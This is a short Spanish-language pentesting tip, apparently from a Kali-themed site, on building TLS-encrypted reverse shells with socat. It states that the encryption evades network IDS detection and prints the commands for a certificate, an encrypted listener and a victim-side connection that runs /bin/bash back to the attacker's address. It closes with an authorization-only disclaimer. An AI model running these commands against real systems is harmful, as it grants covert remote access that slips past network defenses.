KALI
Shells cifradas con socat
Una reverse shell normal viaja en texto plano; cualquier IDS de red la ve y la alerta.
socat te da shells totalmente cifradas con TLS, invisibles a la inspección de red. Generas un certificado, levantas el escucha cifrado en tu máquina, y en la víctima te conectas con socat apuntando a ti por TLS.
Bonus: socat también da shells con terminal completa de una, sin el ritual de estabilización. Es la navaja suiza de las conexiones para el pentester avanzado.
# los comandos
kali@kali:~$ openssl req -x509 -newkey rsa -keyout k.pem -out c.pem -days 1 -nodes && cat k.pem c.pem > s.pemcopiarkali@kali:~$ socat OPENSSL-LISTEN:4444,cert=s.pem,verify=0 -copiar(escucha cifrada)
www-data@victim:$ socat OPENSSL:10.0.0.50:4444,verify=0 EXEC:/bin/bash,pty,stderrcopiarSolo con permiso. Esto se muestra con fines educativos y defensivos: úsalo únicamente en sistemas propios o donde tengas autorización. Entender el ataque es lo que te permite defenderte de él.